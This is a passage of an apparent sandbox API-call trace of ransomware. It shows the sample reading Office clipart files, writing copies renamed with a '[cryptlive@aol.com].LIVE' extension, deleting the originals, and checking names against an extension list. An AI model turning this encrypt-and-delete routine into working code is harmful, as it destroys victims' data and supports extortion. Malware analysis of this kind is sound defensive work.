lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x36b8, lpOverlapped=0x0) returned 1 [0156.932] WriteFile (in: hFile=0x3a0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x36c0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x36c0, lpOverlapped=0x0) returned 1 [0156.933] ReadFile (in: hFile=0x1fc, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0156.933] WriteFile (in: hFile=0x3a0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.933] SetEndOfFile (hFile=0x3a0) returned 1 [0156.933] CloseHandle (hObject=0x3a0) returned 1 [0156.933] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.933] SetEndOfFile (hFile=0x1fc) returned 1 [0156.936] CloseHandle (hObject=0x1fc) returned 1 [0156.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.959] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf")) returned 1 [0156.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0156.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0156.960] lstrlenW (lpString=".doc") returned 4 [0156.960] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.960] lstrlenW (lpString=".docx") returned 5 [0156.960] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0156.960] lstrlenW (lpString=".pdf") returned 4 [0156.960] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.960] lstrlenW (lpString=".xls") returned 4 [0156.960] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.960] lstrlenW (lpString=".xlsx") returned 5 [0156.960] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0156.960] lstrlenW (lpString=".ppt") returned 4 [0156.961] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0156.961] lstrlenW (lpString=".zip") returned 4 [0156.961] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.961] lstrlenW (lpString=".rar") returned 4 [0156.961] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.961] lstrlenW (lpString=".bz2") returned 4 [0156.961] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.961] lstrlenW (lpString=".7z") returned 3 [0156.961] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0156.961] lstrlenW (lpString=".dbf") returned 4 [0156.961] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0156.961] lstrlenW (lpString=".1cd") returned 4 [0156.961] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0156.961] lstrlenW (lpString=".jpg") returned 4 [0156.961] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0156.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0156.961] lstrlenW (lpString=".doc") returned 4 [0156.961] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.961] lstrlenW (lpString=".docx") returned 5 [0156.961] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0156.961] lstrlenW (lpString=".pdf") returned 4 [0156.961] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.961] lstrlenW (lpString=".xls") returned 4 [0156.961] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.961] lstrlenW (lpString=".xlsx") returned 5 [0156.961] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0156.961] lstrlenW (lpString=".ppt") returned 4 [0156.961] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0156.962] lstrlenW (lpString=".zip") returned 4 [0156.962] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.962] lstrlenW (lpString=".rar") returned 4 [0156.962] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.962] lstrlenW (lpString=".bz2") returned 4 [0156.962] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.962] lstrlenW (lpString=".7z") returned 3 [0156.962] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0156.962] lstrlenW (lpString=".dbf") returned 4 [0156.962] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0156.962] lstrlenW (lpString=".1cd") returned 4 [0156.962] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0156.962] lstrlenW (lpString=".jpg") returned 4 [0156.962] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.962] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0156.962] lstrlenW (lpString="J0107658.WMF") returned 12 [0156.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0156.963] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=7072) returned 1 [0156.963] CloseHandle (hObject=0x1dc) returned 1 [0156.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf")) returned 0x20 [0156.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0156.964] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.964] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0156.965] GetLastError () returned 0x0 [0156.965] ReadFile (in: hFile=0x1dc, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x1ba0, lpOverlapped=0x0) returned 1 [0156.987] WriteFile (in: hFile=0x380, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1bb0, lpOverlapped=0x0) returned 1 [0156.989] ReadFile (in: hFile=0x1dc, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0156.989] WriteFile (in: hFile=0x380, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.989] SetEndOfFile (hFile=0x380) returned 1 [0156.989] CloseHandle (hObject=0x380) returned 1 [0156.989] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.989] SetEndOfFile (hFile=0x1dc) returned 1 [0156.992] CloseHandle (hObject=0x1dc) returned 1 [0156.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.993] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf")) returned 1 [0156.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0156.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0156.995] lstrlenW (lpString=".doc") returned 4 [0156.995] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.995] lstrlenW (lpString=".docx") returned 5 [0156.995] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0156.995] lstrlenW (lpString=".pdf") returned 4 [0156.995] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.995] lstrlenW (lpString=".xls") returned 4 [0156.995] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.995] lstrlenW (lpString=".xlsx") returned 5 [0156.995] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0156.995] lstrlenW (lpString=".ppt") returned 4 [0156.995] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0156.995] lstrlenW (lpString=".zip") returned 4 [0156.995] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.995] lstrlenW (lpString=".rar") returned 4 [0156.995] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.995] lstrlenW (lpString=".bz2") returned 4 [0156.995] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.995] lstrlenW (lpString=".7z") returned 3 [0156.995] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0156.995] lstrlenW (lpString=".dbf") returned 4 [0156.995] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0156.995] lstrlenW (lpString=".1cd") returned 4 [0156.995] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0156.996] lstrlenW (lpString=".jpg") returned 4 [0156.996] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0156.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0156.996] lstrlenW (lpString=".doc") returned 4 [0156.996] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.996] lstrlenW (lpString=".docx") returned 5 [0156.996] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0156.996] lstrlenW (lpString=".pdf") returned 4 [0156.996] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.996] lstrlenW (lpString=".xls") returned 4 [0156.996] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.996] lstrlenW (lpString=".xlsx") returned 5 [0156.996] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0156.996] lstrlenW (lpString=".ppt") returned 4 [0156.996] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0156.996] lstrlenW (lpString=".zip") returned 4 [0156.996] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.996] lstrlenW (lpString=".rar") returned 4 [0156.996] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.996] lstrlenW (lpString=".bz2") returned 4 [0156.996] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.996] lstrlenW (lpString=".7z") returned 3 [0156.996] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0156.996] lstrlenW (lpString=".dbf") returned 4 [0156.997] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0156.997] lstrlenW (lpString=".1cd") returned 4 [0156.997] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0156.997] lstrlenW (lpString=".jpg") returned 4 [0156.997] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.997] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0156.997] lstrlenW (lpString="J0107708.WMF") returned 12 [0156.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0157.011] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=4808) returned 1 [0157.011] CloseHandle (hObject=0x1b8) returned 1 [0157.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf")) returned 0x20 [0157.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0157.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0157.012] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.012] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0157.013] GetLastError () returned 0x0 [0157.013] ReadFile (in: hFile=0x1b8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x12c8, lpOverlapped=0x0) returned 1 [0157.015] WriteFile (in: hFile=0x1e0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x12d0, lpOverlapped=0x0) returned 1 [0157.017] ReadFile (in: hFile=0x1b8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0157.017] WriteFile (in: hFile=0x1e0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.017] SetEndOfFile (hFile=0x1e0) returned 1 [0157.017] CloseHandle (hObject=0x1e0) returned 1 [0157.017] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.017] SetEndOfFile (hFile=0x1b8) returned 1 [0157.020] CloseHandle (hObject=0x1b8) returned 1 [0157.020] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0157.024] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf")) returned 1 [0157.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0157.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0157.482] lstrlenW (lpString=".doc") returned 4 [0157.482] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.482] lstrlenW (lpString=".docx") returned 5 [0157.482] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0157.482] lstrlenW (lpString=".pdf") returned 4 [0157.482] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.482] lstrlenW (lpString=".xls") returned 4 [0157.482] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.482] lstrlenW (lpString=".xlsx") returned 5 [0157.482] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0157.482] lstrlenW (lpString=".ppt") returned 4 [0157.482] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0157.482] lstrlenW (lpString=".zip") returned 4 [0157.482] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.482] lstrlenW (lpString=".rar") returned 4 [0157.482] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.482] lstrlenW (lpString=".bz2") returned 4 [0157.482] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.482] lstrlenW (lpString=".7z") returned 3 [0157.482] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0157.482] lstrlenW (lpString=".dbf") returned 4 [0157.482] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0157.483] lstrlenW (lpString=".1cd") returned 4 [0157.483] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0157.483] lstrlenW (lpString=".jpg") returned 4 [0157.483] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0157.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0157.483] lstrlenW (lpString=".doc") returned 4 [0157.483] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.483] lstrlenW (lpString=".docx") returned 5 [0157.483] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0157.483] lstrlenW (lpString=".pdf") returned 4 [0157.483] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.483] lstrlenW (lpString=".xls") returned 4 [0157.483] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.483] lstrlenW (lpString=".xlsx") returned 5 [0157.483] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0157.483] lstrlenW (lpString=".ppt") returned 4 [0157.483] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0157.483] lstrlenW (lpString=".zip") returned 4 [0157.483] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.483] lstrlenW (lpString=".rar") returned 4 [0157.483] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.483] lstrlenW (lpString=".bz2") returned 4 [0157.483] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.483] lstrlenW (lpString=".7z") returned 3 [0157.483] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0157.483] lstrlenW (lpString=".dbf") returned 4 [0157.483] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0157.483] lstrlenW (lpString=".1cd") returned 4 [0157.483] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0157.483] lstrlenW (lpString=".jpg") returned 4 [0157.484] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.484] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0157.484] lstrlenW (lpString="J0107724.WMF") returned 12 [0157.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0157.485] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=7016) returned 1 [0157.485] CloseHandle (hObject=0x1b8) returned 1 [0157.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf")) returned 0x20 [0157.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0157.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0157.485] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.485] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0157.486] GetLastError () returned 0x0 [0157.486] ReadFile (in: hFile=0x1b8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x1b68, lpOverlapped=0x0) returned 1 [0157.490] WriteFile (in: hFile=0x3a0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1b70, lpOverlapped=0x0) returned 1 [0157.491] ReadFile (in: hFile=0x1b8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 